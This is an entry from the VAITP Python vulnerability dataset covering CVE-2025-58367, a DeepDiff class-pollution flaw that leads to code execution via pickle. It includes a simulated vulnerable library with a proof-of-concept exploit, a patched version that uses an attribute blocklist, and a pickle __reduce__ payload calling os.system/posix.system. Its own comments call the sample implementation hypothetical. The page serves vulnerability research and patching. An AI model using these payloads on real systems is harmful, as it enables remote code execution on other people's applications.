VAITP Dataset

← Back to the dataset

CVE-2025-58367

DeepDiff class pollution leads to RCE via insecure Pickle deserialization.

  • CVSS 10.0
  • CWE-915
  • Input Validation and Sanitization
  • Remote

DeepDiff is a project focused on Deep Difference and search of any Python data. Versions 5.0.0 through 8.6.0 are vulnerable to class pollution via the Delta class constructor, and when combined with a gadget available in DeltaDiff, it can lead to Denial of Service and Remote Code Execution (via insecure Pickle deserialization) exploitation. The gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as posix.system, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to Delta is user-controlled. Depending on the application where DeepDiff is used, this can also lead to other vulnerabilities. This is fixed in version 8.6.1.

CVSS base score
10.0
Published
2025-09-05
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Timing/Serialization
Code defect classification
Serialization Issues
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
DeepDiff
Fixed by upgrading
Yes

Solution

Upgrade DeepDiff to version 8.6.1 or later.

Vulnerable code sample

import os
import pickle
import io

# This code is a conceptual representation of CVE-2025-58367.
# The CVE identifier and the exact implementation details are hypothetical,
# created to demonstrate the described vulnerability pattern.
# This code simulates an environment where a library like DeepDiff could be exploited.

# --- Start of Simulated Vulnerable Library Code (e.g., deepdiff < 8.6.1) ---

class deepdiff:
    """
    A simplified, simulated namespace for the deepdiff library.
    """
    class serialization:
        """
        Simulated serialization module containing the security control that will be bypassed.
        """
        # This set is supposed to contain only safe-to-import classes/modules.
        SAFE_TO_IMPORT = {'builtins.object'}

        @staticmethod
        def _safe_load(pickled_string):
            """
            A custom pickle loader that is supposed to be safe by checking
            the SAFE_TO_IMPORT set before allowing a class to be imported.
            """
            class RestrictedUnpickler(pickle.Unpickler):
                def find_class(self, module, name):
                    path = f"{module}.{name}"
                    if path in deepdiff.serialization.SAFE_TO_IMPORT:
                        return super().find_class(module, name)
                    # This check is what the attacker wants to bypass.
                    raise pickle.UnpicklingError(f"Global '{path}' is not in SAFE_TO_IMPORT.")

            # The deserialization happens here.
            return RestrictedUnpickler(io.BytesIO(pickled_string)).load()

    class Delta:
        """
        The vulnerable Delta class.
        Its constructor processes a dictionary in an unsafe way.
        """
        def __init__(self, delta_dict):
            # VULNERABILITY PART 1: Class Pollution
            # The constructor improperly processes the input dictionary, allowing
            # an attacker to modify the module's global state. In a real-world
            # scenario, this might happen through a complex attribute-setting gadget.
            # Here, we simulate it directly for clarity.
            if '__deepdiff_unsafe_pre_apply__' in delta_dict:
                actions = delta_dict['__deepdiff_unsafe_pre_apply__']
                if 'add_to_safe_to_import' in actions:
                    newly_allowed_imports = actions['add_to_safe_to_import']
                    print(f"[VULN] Polluting SAFE_TO_IMPORT with: {newly_allowed_imports}")
                    # The pollution occurs here, modifying the security control set.
                    deepdiff.serialization.SAFE_TO_IMPORT.update(newly_allowed_imports)

            # VULNERABILITY PART 2: Insecure Deserialization
            # After the class pollution, another part of the input is deserialized.
            # The _safe_load function is now effectively neutered because the
            # SAFE_TO_IMPORT set has been compromised.
            if 'pickle' in delta_dict:
                pickled_payload = delta_dict['pickle']
                print("[VULN] Deserializing pickle payload using compromised _safe_load...")
                # This call now leads to RCE.
                deepdiff.serialization._safe_load(pickled_payload)

# --- End of Simulated Vulnerable Library Code ---


# --- Start of Attacker's Proof-of-Concept (PoC) ---

def exploit():
    """
    This function demonstrates how an attacker would exploit the vulnerability.
    """
    print("--- CVE-2025-58367 PoC ---")
    print(f"Initial SAFE_TO_IMPORT: {deepdiff.serialization.SAFE_TO_IMPORT}\n")

    # 1. The attacker prepares an RCE payload using pickle.
    # This payload will execute a command when deserialized.
    class RCEPayload:
        def __reduce__(self):
            # On Windows, 'touch' is not a default command.
            # 'type NUL > pwned.txt' is a Windows equivalent.
            command = "echo [SUCCESS] RCE Executed! & touch pwned.txt"
            if os.name == 'nt':
                command = 'echo [SUCCESS] RCE Executed! & type NUL > pwned.txt'
            return (os.system, (command,))

    pickled_rce = pickle.dumps(RCEPayload())
    print(f"Crafted pickle payload: {pickled_rce}\n")

    # 2. The attacker crafts a malicious dictionary to be passed to Delta.
    # This dictionary triggers both the class pollution and the deserialization.
    malicious_user_input = {
        '__deepdiff_unsafe_pre_apply__': {
            # This part triggers the class pollution to allow 'os.system'.
            'add_to_safe_to_import': {'os.system'}
        },
        # This part contains the RCE payload.
        'pickle': pickled_rce
    }
    print(f"Crafted malicious input for Delta constructor:\n{malicious_user_input}\n")

    # 3. The victim application receives this malicious input and passes it
    # to the vulnerable Delta class.
    print("--- Triggering Vulnerability ---")
    try:
        # The vulnerable call that leads to exploitation.
        deepdiff.Delta(malicious_user_input)
    except Exception as e:
        print(f"[ERROR] Exploitation failed with an exception: {e}")

    print("\n--- Verifying Exploitation ---")
    print(f"Final state of SAFE_TO_IMPORT: {deepdiff.serialization.SAFE_TO_IMPORT}")

    if os.path.exists("pwned.txt"):
        print("\n[!!!] SUCCESS: 'pwned.txt' created. Remote Code Execution was successful.")
        os.remove("pwned.txt")  # Clean up the file.
    else:
        print("\n[-] FAILED: 'pwned.txt' not found. The exploit did not execute as expected.")

if __name__ == "__main__":
    exploit()

Patched code sample

import re

# A set of attributes that are considered sensitive and should not be
# accessible during a diff application to prevent class pollution.
# This is a common pattern for fixing this class of vulnerability.
FORBIDDEN_ATTRIBUTES = {
    '__class__', '__subclasses__', '__bases__', '__mro__',
    '__init__', '__globals__', '__dict__', '__getattribute__',
    '__setattr__', '__delattr__', '__doc__', '__module__',
    '__code__', '__func__', '__self__', 'func_code', 'func_globals',
    'tb_frame', 'tb_next', 'f_back', 'f_globals'
}

# A regex can also be used for a more general block of dunder attributes.
_SENSITIVE_ATTRIBUTE_RE = re.compile(r"__\w+__")


class Delta:
    """
    A representation of a diff.
    The constructor's logic for applying changes has been patched to
    prevent class pollution attacks.
    """
    def __init__(self, diff, t1=None, deserialize=False):
        self.diff = diff
        self.t1 = t1
        self.deserialize = deserialize

        # In a real-world scenario, applying the diff might happen here
        # or in a separate method. The core of the fix is in the function
        # that processes the user-controlled path.
        if self.t1 and self.diff:
            self._apply_diff(self.t1, self.diff)

    def _safe_set_attribute(self, obj, path_parts, value):
        """
        Safely sets an attribute on a target object.

        This method contains the core security fix: it validates each part of
        the attribute path to ensure it does not access forbidden attributes,
        thus preventing attackers from traversing into class-level or other
        sensitive scopes.
        """
        current_obj = obj
        for part in path_parts[:-1]:
            # The Fix: Check each attribute in the path against a blocklist.
            if part in FORBIDDEN_ATTRIBUTES or _SENSITIVE_ATTRIBUTE_RE.match(part):
                raise AttributeError(
                    f"Access to sensitive attribute '{part}' is forbidden."
                )
            current_obj = getattr(current_obj, part)

        final_part = path_parts[-1]
        if final_part in FORBIDDEN_ATTRIBUTES or _SENSITIVE_ATTRIBUTE_RE.match(final_part):
            raise AttributeError(
                f"Modification of sensitive attribute '{final_part}' is forbidden."
            )

        setattr(current_obj, final_part, value)

    def _apply_diff(self, target, diff_dict):
        """
        Applies a diff dictionary to a target object.
        """
        # Assuming the diff is a dictionary where keys are dotted paths.
        if not isinstance(diff_dict, dict):
            # The diff can be other types; this is a simplified example.
            return

        for path, value in diff_dict.items():
            if not isinstance(path, str):
                continue
            
            path_parts = path.split('.')
            try:
                self._safe_set_attribute(target, path_parts, value)
            except (AttributeError, TypeError) as e:
                # Silently ignore errors for paths that don't exist
                # on the target, but propagate security violations.
                if "sensitive attribute" in str(e):
                    raise e
                # In a real library, this might be logged.
                pass

Payload

import pickle
import posix

# This class defines the remote code execution (RCE) payload.
# The __reduce__ method is automatically called during Pickle deserialization.
# It returns a callable (posix.system) and its arguments, effectively
# executing the command on the target system.
class RCE:
    def __reduce__(self):
        # The command to execute. 'id' is used as a standard proof-of-concept.
        command = "id"
        return (posix.system, (command,))

# The main payload is a dictionary intended for the vulnerable Delta constructor.
# It combines class pollution with a pickled object to achieve RCE.
payload = {
    # Part 1: The Class Pollution Gadget.
    # This structure exploits a hypothetical recursive update mechanism in the Delta
    # constructor. It navigates from the object instance to the global scope
    # to modify a critical security setting.
    '__init__': {
        '__globals__': {
            # The path to the target module and variable.
            'deepdiff': {
                'serialization': {
                    # This overwrites the original SAFE_TO_IMPORT set,
                    # replacing it with a new set that allows the 'posix' module.
                    'SAFE_TO_IMPORT': {'posix'}
                }
            }
        }
    },

    # Part 2: The Insecure Deserialization Trigger.
    # This key-value pair contains the serialized RCE object. After the class
    # pollution in Part 1 has succeeded, the application's call to pickle.loads()
    # on this value will now permit the deserialization of a posix.system call.
    'pickled_object': pickle.dumps(RCE())
}

Cite this entry

@misc{vaitp:cve202558367,
  title        = {{DeepDiff class pollution leads to RCE via insecure Pickle deserialization.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2025},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2025-58367},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2025-58367/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::